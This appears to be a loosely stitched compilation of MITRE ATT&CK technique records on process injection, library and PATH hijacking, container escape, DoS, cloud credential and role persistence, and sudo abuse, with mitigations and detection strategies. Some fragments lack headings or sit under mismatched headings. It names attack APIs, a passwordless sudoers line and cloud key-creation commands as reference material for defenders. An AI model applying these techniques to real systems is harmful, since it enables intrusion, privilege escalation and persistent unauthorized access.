Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Principle\nAgainst T1611, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T0882 Theft of Operational Information\n**ATT&CK T0882 Theft of Operational Information (full record).** Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations.

Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Escape to Host**\n  - Detection of container escape attempts via bind mounts, privileged containers, or abuse of docker.sock. Defenders may observe anomalous volume mount configurations (e.g., hostPath to / or /proc), unexpected privileged container launches, or use of container administration commands to access host resources. These events typically correlate with subsequent process execution on the host outside of normal container isolation. (telemetry: docker:daemon:container create/start with privileged flag or host volume mount, kubernetes:apiserver:Pod spec with hostPath or privileged securityContext)\n  - Detection of Linux container escape attempts via syscalls (`unshare`, `keyctl`, `mount`) or process execution outside container namespaces. Defenders may correlate unusual system calls from containerized processes with subsequent process creation on the host or modification of host resources. (telemetry: auditd:SYSCALL:unshare, mount, keyctl, setns syscalls executed by containerized processes, linux:Sysmon:process creation events linked to container namespaces executing host-level binaries)\n  - Detection of Windows container escape attempts by observing processes accessing host directories, symbolic link abuse, or privilege escalation attempts. Defenders may detect anomalous process execution with access to system-level directories outside of container boundaries. (telemetry: WinEventLog:Security:EventCode=4688, WinEventLog:Sysmon:EventCode=11)\n  - Detection of ESXi escape attempts by monitoring for anomalies in hypervisor logs such as unexpected VM operations, privilege escalation events, or attempts to load malicious kernel modules within the hypervisor environment. (telemetry: esxi:vmkernel:VM exit/entry anomalies, unexpected hypercalls, or kernel module loading)\n\n## Tracked users (groups, malware, tools)\n- Peirates (tool): Peirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation.\n- Doki (malware): Doki is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020.\n- Siloscape (malware): Siloscape is malware that targets Kubernetes clusters through Windows containers.

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information. Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.\n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground. Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application. Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store. The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.

Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.\n\nIn ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.\n\n## Reference: ATT&CK T1055.002 Portable Executable Injection\n**ATT&CK T1055.002 Portable Executable Injection (full record).** Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.\n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.\n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point the process can be suspended then written to, realigned to the injected code, and resumed via `SuspendThread `, `VirtualAllocEx`, `WriteProcessMemory`, `SetThreadContext`, then `ResumeThread` respectively.\n\nThis is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

APC injection is a method of executing arbitrary code in the address space of a separate live process.\n\nAPC injection is commonly performed by attaching malicious code to the APC Queue of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point `QueueUserAPC` can be used to invoke a function (such as `LoadLibrayA` pointing to a malicious DLL).\n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. AtomBombing is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.\n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other Process Injection techniques such as Process Hollowing.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

For example, a malicious application may register itself as a VPN client, effectively redirecting device traffic to adversary-owned resources. Registering as a VPN client requires user consent on both Android and iOS; additionally, a special entitlement granted by Apple is needed for iOS devices. Alternatively, a malicious application with escalation privileges may utilize those privileges to gain access to network traffic.\n\nSpecific to Android devices, adversary-in-the-disk is a type of AiTM attack where adversaries monitor and manipulate data that is exchanged between applications and external storage. To accomplish this, a malicious application firsts requests for access to multimedia files on the device (`READ_EXTERNAL STORAGE` and `WRITE_EXTERNAL_STORAGE`), then the application reads data on the device and/or writes malware to the device. Though the request for access is common, when used maliciously, adversaries may access files and other sensitive data due to abusing the permission. Multiple applications were shown to be vulnerable against this attack; however, scrutiny of permissions and input validations may mitigate this attack.\n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as ARP Cache Poisoning or DHCP Spoofing.\n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible to adversaries, depending on the point of capture. For example, properly implementing Apple’s Application Transport Security (ATS) and Android’s Network Security Configuration (NSC) may prevent sensitive data leaks. […]"}]}

DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n**DLL Sideloading.** Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.\n\n**DLL Search Order Hijacking.** Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. […]\n\n## Reference: ATT&CK T1574.004 Dylib Hijacking\n**ATT&CK T1574.004 Dylib Hijacking (full record).** Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with `@rpath`, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the `LC_LOAD_WEAK_DYLIB` function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: macOS\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n**Detection strategies and analytics.** - **Detection Strategy for Hijack Execution Flow: Dylib Hijacking**\n  - Detection focuses on adversaries placing or modifying malicious dylibs in locations searched by legitimate applications. […]\n\n## Reference: ATT&CK T1574.005 Executable Installer File Permissions Weakness\n**ATT&CK T1574.005 Executable Installer File Permissions Weakness (full record).** Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `%TEMP%` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

[…]\n\n## Reference: ATT&CK T1574.006 Dynamic Linker Hijacking\n**ATT&CK T1574.006 Dynamic Linker Hijacking (full record).** Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as `LD_PRELOAD` on Linux or `DYLD_INSERT_LIBRARIES` on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set `LD_PRELOAD` to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library’s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to Hide Artifacts from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Linux, macOS\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. […]\n\n## Reference: ATT&CK T1574.007 Path Interception by PATH Environment Variable\n**ATT&CK T1574.007 Path Interception by PATH Environment Variable (full record).** Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.\n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background. In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.\n\n**Classification.** - Tactics: impact\n- Platforms: SaaS\n- Sub-technique of: T1496 Resource Hijacking - Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles.

This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1498 Network Denial of Service - Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.

This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented. In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1498 Network Denial of Service - Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.

An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.\n\n## Reference: ATT&CK T1098.001 Additional Cloud Credentials\n**ATT&CK T1098.001 Additional Cloud Credentials (full record).** Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID. These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the `CreateKeyPair` or `ImportKeyPair` API in AWS or the `gcloud compute os-login ssh-keys add` command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.\n\nAdversaries may also use the `CreateAccessKey` API in AWS or the `gcloud iam service-accounts keys create` command in GCP to add access keys to an account. Alternatively, they may use the `CreateLoginProfile` API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.\n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account. […]\n\n## Reference: ATT&CK T1098.002 Additional Email Delegate Permissions\n**ATT&CK T1098.002 Additional Email Delegate Permissions (full record).** Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.\n\nFor example, the `Add-MailboxPermission` PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox. In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows, Office Suite\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). […]\n\n## Reference: ATT&CK T1098.003 Additional Cloud Roles\n**ATT&CK T1098.003 Additional Cloud Roles (full record).** An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments. With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).\n\nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the `CreatePolicyVersion` API to define a new version of an IAM policy or the `AttachUserPolicy` API to attach an IAM policy with additional or distinct permissions to a compromised user account.\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: IaaS, Identity Provider, Office Suite, SaaS\n- Sub-technique of: T1098 Account Manipulation - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access.

This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.\n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert.\n\n## Reference: ATT&CK T1548.003 Sudo and Sudo Caching\n**ATT&CK T1548.003 Sudo and Sudo Caching (full record).** Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL`. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. […]\n\n## Reference: ATT&CK T1548.004 Elevated Execution with Prompt\n**ATT&CK T1548.004 Elevated Execution with Prompt (full record).** Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.\n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1548 Abuse Elevation Control Mechanism - Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection**\n  - Detects abuse of AuthorizationExecuteWithPrivileges API to gain elevated privileges via user credential prompts, typically through invocation of /usr/libexec/security_authtrampoline. Detection involves correlation of API usage, binary reputation, and prompt context. […]\n\n## Reference: ATT&CK T1548.005 Temporary Elevated Cloud Access\n**ATT&CK T1548.005 Temporary Elevated Cloud Access (full record).** Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.\n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts. In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.\n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions 